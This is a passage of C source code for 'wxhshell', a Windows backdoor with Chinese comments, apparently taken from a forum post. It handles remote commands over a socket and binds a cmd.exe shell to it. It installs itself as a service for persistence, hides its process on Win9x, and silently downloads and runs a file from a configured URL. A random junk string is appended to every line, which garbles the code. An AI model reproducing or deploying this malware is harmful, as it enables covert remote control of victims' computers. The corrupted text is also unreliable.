  case '?': { sF {,n0<8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `9^tuR,  
    break; |{N{VK  
  } +K1M&(  
  // 安装 KR>)Ek  
  case 'i': { Iq + N0G<j  
    if(Install()) Pf[E..HF*d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ol>q(-ea  
    else A<+Dx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z%D7x5!,R  
    break; KoERg&fY  
    } pp@ Owpb  
  // 卸载 EV?}oh"x  
  case 'r': { H>C bMz1u  
    if(Uninstall()) =Wcvb?;*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }p~2lOI  
    else l8oaDL\f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Z$H <m{c-  
    break; B7 s{yb  
    } WQ9e~D"  
  // 显示 wxhshell 所在路径 Y*NzY*V\  
  case 'p': { VE+H! ob A  
    char svExeFile[MAX_PATH]; e$~[\ w  
    strcpy(svExeFile,"\n\r"); wo@ T@Ve~  
      strcat(svExeFile,ExeFile); <F7a!$zQ  
        send(wsh,svExeFile,strlen(svExeFile),0); ' h7Faj  
    break; QF>T)1&J[7  
    } &*v\t\]  
  // 重启 Wlc&QOfF  
  case 'b': { cXb*d|-|N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o !tC{"g  
    if(Boot(REBOOT)) K?uZIDo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x2JC' -H  
    else { CYaN;HV@_  
    closesocket(wsh); ok\-IU?  
    ExitThread(0); K0.aU  
    } 9nG^_.}|  
    break; 2o SM|  
    } /7UvV60  
  // 关机 h5P_kZJ  
  case 'd': { ;XN|dq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K7RAmX  
    if(Boot(SHUTDOWN)) gQeQy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {M**a  
    else { 4m0^ N  
    closesocket(wsh); +hN>Q $E  
    ExitThread(0); c~ R'`Q  
    } Xd(^7~i  
    break; RDdnOzx  
    } Ev7.!  
  // 获取shell ,\M77V  
  case 's': { Y ^+x<  
    CmdShell(wsh); U,#~9  
    closesocket(wsh); 2z-Nw <bA  
    ExitThread(0); %,T*[d&i  
    break; %,@pV%2  
  } _*o <<C\E  
  // 退出 Xz^nm\  
  case 'x': { ^^b'tP1>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7a"06Et^  
    CloseIt(wsh); PeJ#9hI~rQ  
    break; mUg :<.^  
    } ^%7(  
  // 离开 ]rv\sD`[  
  case 'q': { ! 6(3Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qZd*'ki<  
    closesocket(wsh); `Z;Z^c  
    WSACleanup(); `]KX`xGK  
    exit(1); -pC'C%Q  
    break; |3]/C rR_  
        } ~Zr}QO}G  
  } \;&;K'   
  } &E&~9"^hQL  
Pe@# 6N`  
  // 提示信息 Y9^l|,bm5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &s".hP6  
} zH]oAu=H  
  } }t^wa\   
a3yNd  
  return; 1/97_:M0~F  
} <st<oR'  
G0 )[(s  
// shell模块句柄 V ?Jy  
int CmdShell(SOCKET sock) $S#Z>d*1!  
{ 4A2}3$c9  
STARTUPINFO si; \ptO4E  
ZeroMemory(&si,sizeof(si));  LSC[S:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gn2{C%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m!xvWqY+  
PROCESS_INFORMATION ProcessInfo; SoU(fI[6  
char cmdline[]="cmd"; V#ELn[k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jSp&\Wjb  
  return 0; Qf~>5(,h  
} ]yPK}u  
:BPgDLL,  
// 自身启动模式 Eg)24C R 4  
int StartFromService(void) (%B{=w}8  
{ `H! (hMMV  
typedef struct ?, pwYT0g  
{ NTu |cX\R  
  DWORD ExitStatus; j=O+U _w  
  DWORD PebBaseAddress; T1d@=&0"  
  DWORD AffinityMask; >kQp@r\nQ  
  DWORD BasePriority; sBadiDG~9  
  ULONG UniqueProcessId; Jx+6Kq(  
  ULONG InheritedFromUniqueProcessId; 9Vt ^q%DC  
}   PROCESS_BASIC_INFORMATION; 8Yq06o38C  
$\u\ 4 n  
PROCNTQSIP NtQueryInformationProcess; pq) =  
Lp&nO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =2 HY]H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1K9.3n   
'7'/+G'~&  
  HANDLE             hProcess; 3= =["hO  
  PROCESS_BASIC_INFORMATION pbi; 0S5xmEzop  
d_`MS@2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .+9*5  
  if(NULL == hInst ) return 0; ?g ,s<{  
l!,tssQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WHE<E rV%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O!"K'Bm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8w:ay,=  
J,W $\V]p  
  if (!NtQueryInformationProcess) return 0; {"'M2w:|D1  
gCg hWg{S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0cmd +`  
  if(!hProcess) return 0; A"7YkOfwH  
"pDU v^ie  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] 0R*F30]  
E3'I;  
  CloseHandle(hProcess); WXxnOLJr  
"e-Y?_S7R8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u{4P)DIQ  
if(hProcess==NULL) return 0; yP]>eLTSd  
/H<{p$Wd  
HMODULE hMod; HAH\ #WE  
char procName[255]; *<^C0:i(  
unsigned long cbNeeded; b]u=I za  
x@Gg fH<l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M5 VW1Ns  
^KbR@Ah  
  CloseHandle(hProcess); Vs"b  
P.YT/  
if(strstr(procName,"services")) return 1; // 以服务启动 |.9PwD8~VD  
N_g=,E=U%  
  return 0; // 注册表启动 h!wq&Vi4  
} zYaFbNi  
Q b^{`  
// 主模块 O]XRalkEM  
int StartWxhshell(LPSTR lpCmdLine) sNx_9pJs4  
{ W7!Rf7TK  
  SOCKET wsl; 807+|Ol[  
BOOL val=TRUE; I q|'#hs  
  int port=0; ,9y6:W%5  
  struct sockaddr_in door; Kii@Z5R_?  
+j: &_  
  if(wscfg.ws_autoins) Install(); X8tPn_`x  
h>V6}(~;.  
port=atoi(lpCmdLine); w~6/p  
le^Fik   
if(port<=0) port=wscfg.ws_port; wbWC &X.  
-9 LvAV>  
  WSADATA data; P'h39XoZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JcRxNH )<"  
 !y@\w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :NLY;B`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l'l&Zqd  
  door.sin_family = AF_INET; ?u2\ *@C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e^*&&  
  door.sin_port = htons(port); S<(i/5Z+  
d\qszYP[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EF&CV{Sw  
closesocket(wsl); iU+SXsXLR4  
return 1; rZ,qHM  
} MZ%J ]Nd  
ds*gL ~k^  
  if(listen(wsl,2) == INVALID_SOCKET) { 1R_@C.I  
closesocket(wsl); i3 XtrP""  
return 1; 0-PT%R  
} y3j$?o M  
  Wxhshell(wsl); nO yG7:  
  WSACleanup(); JA{kifu0+  
1!1,{\9%  
return 0; pOK=o$1V8  
;ZB=@@l(  
} Vw ;iE=L  
< R"Y^]P=  
// 以NT服务方式启动 UZ/LR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^%*qe5J  
{ JRBz/ j  
DWORD   status = 0; JAHmmNlW  
  DWORD   specificError = 0xfffffff; k|xmZA*  
y:\<FLR}j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T} \>8EEG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !=30s;-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,w"cY?~<  
  serviceStatus.dwWin32ExitCode     = 0; Sy?^+JdM/  
  serviceStatus.dwServiceSpecificExitCode = 0; trwo(p  
  serviceStatus.dwCheckPoint       = 0; ~7aD#`amU  
  serviceStatus.dwWaitHint       = 0; )Fd)YJVR  
]pNM~,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;PVE= z+y  
  if (hServiceStatusHandle==0) return; yVzV]&k  
&H+ wzx<  
status = GetLastError(); o?O ZsA  
  if (status!=NO_ERROR) I!F&8B+|  
{ s]yZ<uA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R:P),  
    serviceStatus.dwCheckPoint       = 0; 4qDa: D"5  
    serviceStatus.dwWaitHint       = 0; 3K(/=  
    serviceStatus.dwWin32ExitCode     = status; v$`3}<3-  
    serviceStatus.dwServiceSpecificExitCode = specificError; [W$x5|Z}Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E_& ;.hw  
    return; 0R unex[  
  } atZNX1LD[/  
h_X'O3r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,6y.wNb:F  
  serviceStatus.dwCheckPoint       = 0; 1V5N)ty  
  serviceStatus.dwWaitHint       = 0; [*K9V/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y=8KNseW|  
} Mb_"M7  
q: F6MW  
// 处理NT服务事件,比如:启动、停止 Bph(\= W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q~^v=ye  
{ &hVf=We  
switch(fdwControl) a@|`!<5  
{ tZ) ,Z<  
case SERVICE_CONTROL_STOP: UptKN|S&V  
  serviceStatus.dwWin32ExitCode = 0; x15&U\U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %eF=;q  
  serviceStatus.dwCheckPoint   = 0; c&#Q`m  
  serviceStatus.dwWaitHint     = 0; GwgY{-|`  
  {  pb<eg,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q_/UC#I8  
  } Oc~<`C~  
  return; uj}%S_9  
case SERVICE_CONTROL_PAUSE: y2g)*T!m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r,|}^u8`  
  break; \xOYa  
case SERVICE_CONTROL_CONTINUE: 4EeVO5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aa]|  
  break; Qt"jU+Zoy  
case SERVICE_CONTROL_INTERROGATE: ko!]vHB9`  
  break; fZs}u<3Q)  
}; ! j6CvclT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1=_?Wg:   
} 4 J9Y  
>]Mhkf/=)  
// 标准应用程序主函数 Ye^#]%m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) varaBFD  
{ 1h]nE/T.O  
).Z U0fV  
// 获取操作系统版本 R74RJi&  
OsIsNt=GetOsVer(); iMYJVB=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1jK2*y  
0kp{`3ce  
  // 从命令行安装 " u]X/ {L  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3DjX0Dx/l  
4d`f?8vS  
  // 下载执行文件 gT fA]  
if(wscfg.ws_downexe) { /xg1i1Et  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Ta {  
  WinExec(wscfg.ws_filenam,SW_HIDE); u<\Sf"fs  
} tR=1.M96Y  
=?M{B1;H  
if(!OsIsNt) { ?YFSK  
// 如果时win9x,隐藏进程并且设置为注册表启动 W'zI~'K  
HideProc(); 6C_H0a/h&  
StartWxhshell(lpCmdLine); j%S} T)pX  
} &x.5TDB>%  
else o -x=/b  
  if(StartFromService()) MA=gCG/JD  
  // 以服务方式启动 pmUC4=&e  
  StartServiceCtrlDispatcher(DispatchTable); ],<pZ1V;  
else {- &wV  
  // 普通方式启动 % y` tDR  
  StartWxhshell(lpCmdLine); 74A&#ecb{  
Y,KSr|vG  
return 0; _Pw5n mH c  
}
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只看该作者 1 发表于: 2006-10-10
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